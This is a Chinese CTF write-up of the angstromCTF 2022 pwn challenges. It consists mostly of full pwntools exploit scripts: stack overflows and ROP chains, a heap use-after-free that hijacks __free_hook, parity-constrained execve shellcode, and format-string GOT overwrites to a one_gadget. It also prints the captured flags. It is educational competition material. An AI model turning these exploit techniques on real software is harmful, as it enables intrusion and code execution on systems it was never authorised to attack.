angstormCTF2022_pwn

这个比赛并不难,最后一个pwn的wp现在还没有。

pwn

whatsmyname

白给,gdb和ida都没用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /usr/bin/env python
from pwn import *
context.log_level = 'debug'


io = remote("challs.actf.co", 31223)

io.recvuntil(b"Hi! What's your name?")
io.sendline(b"a"*48)

io.recvuntil(b"a"*48)
randomnum = io.recvuntil(b"!", drop=True)

log.info(str(randomnum))

io.sendlineafter(b"Guess my name and you'll get a flag!", randomnum)

io.interactive()

wah

(白给,gdb和ida都没用)*2

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python

from pwn import *
context.log_level='debug'


io = remote("challs.actf.co", 31224)

io.sendlineafter(b"Cry:",b"a"*40+p64(0x401236))

io.interactive()

really obnoxious problem

白给

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /usr/bin/env python3

from pwn import *

io = remote('challs.actf.co', 31225)
#io = process('./really_obnoxious_problem')

io.recvuntil(b'Name: ')
io.sendline(b'bobby')

poprdi = 0x00000000004013f3
poprsir15 = 0x00000000004013f1

io.recvuntil(b'Address: ')
io.sendline(b'a' * 72 + p64(poprdi) + p64(0x1337) + p64(poprsir15) +
p64(0x4040a0) + p64(0) + p64(0x0401256))

io.interactive()

dream

这个不用做了,本地出了,远程服务器给的时间太少,已经私聊了,人家在睡觉
已出
actf{hav3_you_4ny_dreams_y0u'd_like_to_s3ll?_cb72f5211336}

主要就是一个sell的时候的UAF,但是限制了堆块大小,并且只能新建5个。这里把control chunk直接malloc出来从而让上述限制都失效了。
泄露libc是把一个堆块size位置改掉,然后释放掉(注意布置后面的堆块来通过unsortedbin的检查)之后show出libc。
然后任意地址写改free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
filename="./dreams"
libc_name="libc.so.6"
# io = process(filename)
io = remote('challs.actf.co', 31227)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def my_sleep(index,date,about):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('dream?')
io.sendline(str(index))
io.recvuntil('?')
io.send(date)
io.recvuntil('?')
io.send(about)

def sell(index):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('?')
io.sendline(str(index))

def visit(index,date):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('trouble? ')
io.sendline(str(index))
io.recvuntil('that ')
info = io.recvuntil('\n',drop=True) # return key addr
io.recvuntil('?')
io.recvuntil('date: ')
io.send(date)
return info

def debug():
cmd = ""
cmd +="b *0x401549\n" # call visit
gdb.attach(io,cmd)
visit(0,'1')

def arb_write(dst,src):
# arb write 8 bytes
visit(4,p64(dst))
visit(0,p64(src))

my_sleep(0,'1',"aa") #0
my_sleep(1,'1',"bb") # 1

sell(1)
sell(0)
heap_info = u64(visit(0,'1').ljust(8,b'\x00'))
success("heap_info: " + hex(heap_info))
heap_base = heap_info-0x10
success("heap_addr: " + hex(heap_base))

# change one addr to control block
visit(0,p64(heap_base+0x2a0))
my_sleep(3,'1',"aa") # same with 0
# gdb.attach(io,"b *0x4013A4")
my_sleep(4,p64(heap_base+0x0012e0),p64(heap_base+0x001310)) # 4 can control whole



arb_write(heap_base+0x0012e8,0) # key->0
arb_write(heap_base+0x0012e8-0x10,0xa1) # size->0xa0
arb_write(heap_base+0x001378,0x21)
arb_write(heap_base+0x001398,0x21)
visit(4,p64(heap_base+0x0012e0)) # fd back to pointer
# debug()
for i in range(0,8):
sell(0)
arb_write(heap_base+0x0012e8,0)
visit(4,p64(heap_base+0x0012e0))

# debug()
# visit(0)
visit(4,p64(heap_base+0x0012d8))
libc_info = u64(visit(0,p64(0)).ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x1ecbe0
success("libc_base: " + hex(libc_base))

# arb_write(heap_base+0x001310,'/bin/sh')
visit(4,p64(heap_base+0x001310))
visit(0,'/bin/sh')
arb_write(heap_base+0x001318,0)


free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
arb_write(free_hook,system)
# debug()
# gdb.attach(io,"b *0x4014FF")
sell(1)


io.interactive()

whereami

actf{i'd_be_saf3_and_w4rm_if_1_wa5_in_la_5ca5e33ff06f}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
filename="./whereami"
libc_name="libc.so.6"
# io = process(filename)
io = remote('challs.actf.co', 31222)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


csu1 = 0x4012FA
csu2 = 0x4012E0
pop_rdi = 0x0000000000401303



payload = b'a'*0x48
payload +=p64(pop_rdi)
payload+=p64(elf.got['puts'])
payload +=p64(elf.plt['puts'])
payload += p64(csu1)
payload +=p64(0)
payload+=p64(1)+p64(0x40406C)+p64(0)*2+p64(elf.got['gets'])
payload +=p64(csu2)
payload +=p64(0)*7
payload+=p64(0x401110)


io.recvuntil('you? ')
# gdb.attach(io,"b *0x401297")

io.sendline(payload)
# gdb.attach(io,"b *0x401211")
puts_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("puts_info: " + hex(puts_info))
libc_base = puts_info-libc.symbols['puts']
success("libc_base: " + hex(libc_base))

input('send')
io.sendline(p32(0x0))



payload2 = b"a"*0x48
payload2 +=p64(0x000000000040101a) # ret
payload2 +=p64(pop_rdi)
payload2 +=p64(libc_base+libc.search(b"/bin/sh").__next__())
payload2+=p64(libc.symbols['system']+libc_base)
io.recvuntil('you? ')
# gdb.attach(io,"b *0x401297")
input('send2')
io.sendline(payload2)




io.interactive()

parity

actf{f3els_like_wa1king_down_4_landsl1de_6d28d72fd7db}
无语题目,要我写奇偶交替的shellcode,把大伙都整笑了。
找gadget的方法我是用下面的脚本,就是暴力获取所有奇数偶数奇数的全排列指令,然后反汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
oushu = []
jishu = []
for i in range(0,0xff):
if i%2 == 0:
oushu.append(i)
else:
jishu.append(i)

tmp = ""
for a in oushu:
for b in jishu:
for c in oushu:
tmp +=chr(a)+chr(b)+chr(c)

tmp2 = ""
for a in jishu:
for b in oushu:
for c in jishu:
tmp2+=chr(a)+chr(b)+chr(c)

with open ("bin1","w") as f1:
f1.write(tmp)

with open("bin2","w") as f2:
f2.write(tmp2)

之后用下面的命令
disasm -c amd64 < bin > all_gadget
找到的gadget如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 0:       00 01                   add    BYTE PTR [rcx], al
2: 00 00 add BYTE PTR [rax], al
4: 01 02 add DWORD PTR [rdx], eax
6: 00 01 add BYTE PTR [rcx], al
8: 04 00 add al, 0x0
a: 01 06 add DWORD PTR [rsi], eax
c: 00 01 add BYTE PTR [rcx], al
e: 08 00 or BYTE PTR [rax], al
10: 01 0a add DWORD PTR [rdx], ecx
12: 00 01 add BYTE PTR [rcx], al
14: 0c 00 or al, 0x0
16: 01 0e add DWORD PTR [rsi], ecx
18: 00 01 add BYTE PTR [rcx], al
1a: 10 00 adc BYTE PTR [rax], al
1c: 01 12 add DWORD PTR [rdx], edx
1e: 00 01 add BYTE PTR [rcx], al
20: 14 00 adc al, 0x0

(这里省略大概90万行)
之后就是在里面找有用的,没有什么技巧,全是感情(太累了!!)
注意这里比较麻烦的就是syscall这条指令是\x0f\x05也不是奇偶相见的,因此也要通过加加减减构造。总之就是没什么意思的题目,现实中也完全碰不到。做一次也就够了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
filename="./parity"
# io = process(filename)
io = remote('challs.actf.co', 31226)
context.log_level='debug'
elf=ELF(filename)
context.terminal=['tmux','split','-hp','60']
context.arch = "amd64"



asm_shell = """
add dx,0x41
add dx,0x55
mov al, 0xf
nop
mov DWORD PTR [rdx], eax
pop rbx
add rdx,1
mov al,0x5
nop
mov DWORD PTR [rdx], eax
pop rbx

add dx,0x21
mov al,0x2f
nop
mov DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x61
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x69
nop
mov DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x6d
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x2f
nop
mov DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x73
nop
mov DWORD PTR [rdx], eax

pop rbx
add dx,0x1
mov al,0x67
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax

push rbx
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1

push rdx
pop rdi

xor rsi,rsi
pop rbx
xor rdx,rdx

xor eax,eax
push rbx
mov al,0x3b


"""

syscall_shell = asm(asm_shell)
# print(len(syscall_shell))
# pause()
# gdb.attach(io,"b *0x4012F5")
io.recvuntil('> ')
io.send(syscall_shell)


io.interactive()

caniride

这个题我觉得只能爆破..如果大家有更好的思路欢迎交流。

这个题特殊的地方在于,写格式化字符串的地方并不知道要写入的地址是多少

做不动了,下面的没法爆破,写不来爆破脚本,改一下能循环爆破就可以了。调试下来这个gadget是能用的,本地能出shell。

PS: 这道题赛后复现,确实有一种不用爆破的方法。例如下面的这样的payoad

%*20$x%16$hn%*21$x%17$hn%*22$x%18$hn%*23$x%19$hn。其中的*表示这里写入多少数字的参数在后面。算是一种新学到的用法。不过这样要自己构造格式化字符串。用这里的get_shorts函数,也是比较方便的。

具体思路是劫持exit_got为main之后循环。最后劫持exit_got为one_gadget.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
filename="./caniride"
libc_name="./libc.so.6"
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def get_shorts(target_value): # calculate printf argument
shorts = []
curr = 0
for _ in range(4):
num = target_value % 65536
desired_value = (num - curr + 65536) % 65536
shorts.append(desired_value)
curr = (curr + desired_value) % 65536
target_value = target_value >> 16
return shorts

io = process(filename)
og = [0xe3b2e,0xe3b31,0xe3b34] # the middlen one counts
bias = 8
# gdb.attach(io,"brva 0x147E")
payload1 = "%*20$x%16$hn%*21$x%17$hn%*22$x%18$hn%*23$x%19$hn"
io.recvuntil('Name: ')
io.sendline(payload1)
io.recvuntil('driver: ')
io.sendline('-3')
io.recvuntil('this is ')
code_info = u64(io.recvuntil(' ',drop=True).ljust(8,b'\x00'))
code_base = code_info - 0x35a8
success("code_base: " + hex(code_base))
exit_got = elf.got['exit'] + code_base
success("exit_got: " + hex(exit_got))
main_addr = code_base + 0x1269;
shorts = get_shorts(main_addr)
buf_payload = p64(exit_got) + p64(exit_got+2)+p64(exit_got+4)+p64(exit_got+6)+p64(shorts[0])+p64(shorts[1])+p64(shorts[2])+p64(shorts[3])
# gdb.attach(io,"brva 0x1494")
io.recvuntil('yourself: ')
io.sendline(buf_payload)
# now exit should return to main


# second
io.recvuntil('Name: ')
gdb.attach(io,"brva 0x147E")
payload2 = "%21$p"
io.sendline(payload2)
io.recvuntil('driver: ')
io.sendline('1')
buf_payload2 = "a"
io.recvuntil('yourself: ')
io.sendline(buf_payload2)
io.recvuntil('Bye, ')
libc_info = int(io.recvuntil('!\n',drop=True),16)
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x1f2538
success("libc_base: " + hex(libc_base))



# get libc_base
# gdb.attach(io,"brva 0x13E6")
io.recvuntil('Name: ')
io.sendline(payload1)
io.recvuntil('driver: ')
io.sendline('1')
og_addr = og[1] + libc_base
shorts = get_shorts(og_addr)
buf_payload = p64(exit_got) + p64(exit_got+2)+p64(exit_got+4)+p64(exit_got+6)+p64(shorts[0])+p64(shorts[1])+p64(shorts[2])+p64(shorts[3])

io.recvuntil('yourself: ')
io.sendline(buf_payload)

io.interactive()




image-20220508223842557

逆向的wp,可见松神的博客

https://qxz-coder.github.io/2022/05/05/angstromctf-rev/

文章目录
  1. 1. pwn
    1. 1.1. whatsmyname
    2. 1.2. wah
    3. 1.3. really obnoxious problem
    4. 1.4. dream
    5. 1.5. whereami
    6. 1.6. parity
    7. 1.7. caniride
|